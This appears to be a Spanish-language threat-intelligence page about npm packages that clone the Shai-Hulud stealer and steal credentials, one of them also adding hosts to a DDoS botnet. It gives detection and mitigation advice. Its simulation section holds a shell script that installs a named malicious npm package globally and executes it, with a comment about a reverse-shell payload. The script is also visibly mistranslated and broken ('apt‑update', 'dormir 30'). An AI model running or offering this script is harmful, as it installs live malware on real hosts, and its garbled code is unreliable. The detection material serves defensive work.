SOC Prime Bias: Crítico

20 May 2026 22:05 UTC

Clones de Shai-Hulud: Los Imitadores de TeamPCP Están Aquí

Author Photo
SOC Prime Team linkedin icon Seguir
Clones de Shai-Hulud: Los Imitadores de TeamPCP Están Aquí
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Investigadores descubrieron cuatro paquetes maliciosos de npm que combinan funcionalidad de robo de información con capacidades de denegación de servicio distribuida. Estos paquetes se hacen pasar por bibliotecas populares mediante typo-squatting e incluyen el código de código abierto Shai-Hulud modificado para usar servidores de comando y control controlados por el atacante. Instalar alguno de los paquetes puede resultar en el robo de credenciales, exfiltración de secretos en la nube, y en un caso, el enrolamiento del host infectado en una botnet de DDoS. Los hallazgos subrayan el creciente riesgo en la cadena de suministro dentro del ecosistema npm.

Investigación

Los analistas compararon el paquete chalk-tempalte con el código fuente filtrado de Shai-Hulud y lo encontraron como una copia casi exacta y sin ofuscar configurada con un punto de comando y control personalizado. Los paquetes restantes transmitieron datos robados a dominios maliciosos separados o a una dirección IP a través del puerto 2222, mientras que una variante también desplegó un servicio de bot local basado en Go utilizado para actividad DDoS. Los cuatro paquetes fueron publicados por la misma cuenta de npm, fortaleciendo el vínculo entre ellos.

Mitigación

Las organizaciones deben eliminar de inmediato los paquetes maliciosos de cualquier proyecto y eliminar los artefactos de configuración asociados de los entornos de desarrollo y los sistemas de construcción. Todas las credenciales que puedan haber sido expuestas deben rotarse, y el acceso a la red a los dominios maliciosos identificados y la dirección IP debe bloquearse. Los equipos también deben monitorear las dependencias de npm para detectar paquetes typo-squatted que imitan las mismas bibliotecas legítimas.

Respuesta

Los defensores deben crear detecciones para conexiones salientes a los dominios de comando y control identificados y dirección IP, alertar sobre la instalación de los cuatro nombres de paquetes maliciosos, y escanear sistemas en busca de la clave pública incrustada vinculada al malware. Cualquier sistema que haya instalado uno de los paquetes debe someterse a una revisión forense para determinar si se desplegaron servicios persistentes, tareas programadas o cargas adicionales.

graph TB %% Class definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 initial_access[«<b>Técnica</b> – <b>T1195.002 Compromiso de la Cadena de Suministro</b><br/>Comprometer la cadena de suministro de software para obtener acceso inicial.»] class initial_access technique automated_collection[«<b>Técnica</b> – <b>T1119 Recolección Automatizada</b><br/>Recolectar credenciales, variables de entorno y archivos de configuración en la nube automáticamente.»] class automated_collection technique creds_in_files[«<b>Técnica</b> – <b>T1552.001 Credenciales No Protegidas</b><br/>Las credenciales almacenadas en archivos son recolectadas.»] class creds_in_files technique private_keys[«<b>Técnica</b> – <b>T1552.004 Credenciales No Protegidas</b><br/>Las claves privadas son extraídas de ubicaciones inseguras.»] class private_keys technique victim_identity[«<b>Técnica</b> – <b>T1589 Recolección de Información de Identidad de la Víctima</b><br/>Recolección de identificadores personales de la víctima.»] class victim_identity technique victim_org[«<b>Técnica</b> – <b>T1591.001 Recolección de Información de la Organización de la Víctima</b><br/>Determinación de ubicaciones físicas de la organización víctima.»] class victim_org technique code_repos[«<b>Técnica</b> – <b>T1213.003 Datos desde Repositorios de Información</b><br/>Recolección de repositorios de código.»] class code_repos technique npm_persistence[«<b>Técnica</b> – <b>T1176 Extensiones de Software</b><br/>Persistencia mediante paquete npm malicioso.»] class npm_persistence technique exfil_over_http[«<b>Técnica</b> – <b>T1011 Exfiltración por Otro Medio de Red</b><br/>Envío de datos a C2 mediante HTTP/HTTPS.»] class exfil_over_http technique cloud_transfer[«<b>Técnica</b> – <b>T1537 Transferencia de Datos a Cuenta en la Nube</b><br/>Movimiento de datos robados a almacenamiento en la nube.»] class cloud_transfer technique initial_access –>|conduce_a| automated_collection automated_collection –>|recopila| creds_in_files automated_collection –>|recopila| private_keys automated_collection –>|recopila| victim_identity automated_collection –>|recopila| victim_org automated_collection –>|recopila| code_repos automated_collection –>|recopila| npm_persistence creds_in_files –>|exfiltra| exfil_over_http private_keys –>|exfiltra| exfil_over_http victim_identity –>|exfiltra| exfil_over_http victim_org –>|exfiltra| exfil_over_http code_repos –>|exfiltra| exfil_over_http npm_persistence –>|exfiltra| exfil_over_http exfil_over_http –>|almacena_en| cloud_transfer

Flujo de Ataque

Detecciones

Descarga de Ejecutable Sospechoso (a través de proxy)

Equipo de SOC Prime
20 de mayo de 2026

Posible Archivo de Configuración de Tareas Automáticas de Vscode Creado en Directorio Inusual [MACOS] (a través de file_event)

Equipo de SOC Prime
20 de mayo de 2026

Carga/Descarga Remota de Archivos a través de Herramientas Estándar (a través de cmdline)

Equipo de SOC Prime
20 de mayo de 2026

Posible Archivo de Configuración de Tareas Automáticas de Vscode Creado en Directorio Inusual [LINUX] (a través de file_event)

Equipo de SOC Prime
20 de mayo de 2026

Archivo Oculto fue Creado en Host Linux (a través de file_event)

Equipo de SOC Prime
20 de mayo de 2026

Posibles Puntos de Persistencia [ASEPs – Hive Software/NTUSER] (a través de registry_event)

Equipo de SOC Prime
20 de mayo de 2026

Uso Posible de Schtasks o AT para Persistencia (a través de cmdline)

Equipo de SOC Prime
20 de mayo de 2026

Posibles Puntos de Persistencia [ASEPs – Hive Software/NTUSER] (a través de cmdline)

Equipo de SOC Prime
20 de mayo de 2026

Binarios/Scripts Sospechosos en Ubicación de Inicio Automático (a través de file_event)

Equipo de SOC Prime
20 de mayo de 2026

Posible Intento de Comunicaciones de Dominio de Búsqueda de IP (a través de dns)

Equipo de SOC Prime
20 de mayo de 2026

Comando y Control Sospechoso por Solicitud DNS de Dominio de Nivel Superior (TLD) Inusual (a través de dns)

Equipo de SOC Prime
20 de mayo de 2026

Uso Posible de Crontab para Ejecución Directa (a través de cmdline)

Equipo de SOC Prime
20 de mayo de 2026

IOCs (SourceIP) para detectar: Nuevos Actores Despliegan Clones de Shai-Hulud: Los Imitadores de TeamPCP Están Aquí

Reglas de SOC Prime AI
20 de mayo de 2026

IOCs (DestinationIP) para detectar: Nuevos Actores Despliegan Clones de Shai-Hulud: Los Imitadores de TeamPCP Están Aquí

Reglas de SOC Prime AI
20 de mayo de 2026

Detección de Conexiones de Red Salientes a Servidores C2 de Shai-Hulud [Firewall]

Reglas de SOC Prime AI
20 de mayo de 2026

Detección de Ejecución de Paquete npm Malicioso [Creación de Proceso en Windows]

Reglas de SOC Prime AI
20 de mayo de 2026

Detección de Ejecución de Paquete npm Malicioso [Creación de Proceso en Linux]

Reglas de SOC Prime AI
20 de mayo de 2026

Ejecución de Simulación

Requisito previo: La Comprobación Previa de Telemetría & Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa de Ataque y Comandos:

    1. Reconocimiento Inicial (opcional): El atacante enumera el entorno Node.js de la víctima para confirmar npm está presente.
    2. Adquisición de Paquete Malicioso: El atacante descarga un paquete npm malicioso que imita una utilidad legítima (por ejemplo, @deadcode09284814/axios-util).
    3. Instalación y Ejecución: Usando una sola línea, el atacante instala el paquete a nivel global e inmediatamente ejecuta una carga útil de JavaScript que abre un shell inverso.
    4. Persistencia (fuera del alcance): El atacante podría agregar el paquete malicioso a package.json para uso futuro.
  • Script de Prueba de Regresión: El script reproduce exactamente los pasos 2‑3, generando las cadenas de línea de comandos que el regla Sigma coincide.

    # malicious_npm_execution.sh
    # -------------------------------------------------
    # 1️⃣ Asegúrese de que el tiempo de ejecución de Node.js esté presente
    if ! command -v node >/dev/null 2>&1; then
        echo "[*] Instalando Node.js y npm"
        sudo apt‑update && sudo apt‑install -y nodejs npm
    fi
    
    # 2️⃣ Instalar el paquete npm malicioso (simulado)
    #    (Reemplace con un paquete malicioso real en una prueba real)
    MALICIOUS_PKG="@deadcode09284814/axios-util"
    
    echo "[*] Instalando paquete malicioso: $MALICIOUS_PKG"
    npm install -g "$MALICIOUS_PKG"
    
    # 3️⃣ Ejecutar una carga útil que el paquete trae
    #    Aquí simplemente requerimos el paquete; el script postinstalación del paquete
    #    ejecutará el código del atacante.
    echo "[*] Activando carga útil maliciosa"
    node -e "require('$MALICIOUS_PKG');"
    
    # 4️⃣ Opcional: Mantener el shell vivo para observación
    dormir 30
    echo "[*] Prueba completada"
    # -------------------------------------------------
  • Comandos de Limpieza: Eliminar el paquete malicioso y cualquier archivo generado.

    # cleanup_malicious_npm.sh
    # -------------------------------------------------
    echo "[*] Eliminando el paquete npm malicioso"
    npm uninstall -g "@deadcode09284814/axios-util" || true
    
    # Eliminar cualquier node_modules residual del directorio de inicio
    rm -rf "$HOME/.npm/_cacache"
    echo "[*] Limpieza completa"
    # -------------------------------------------------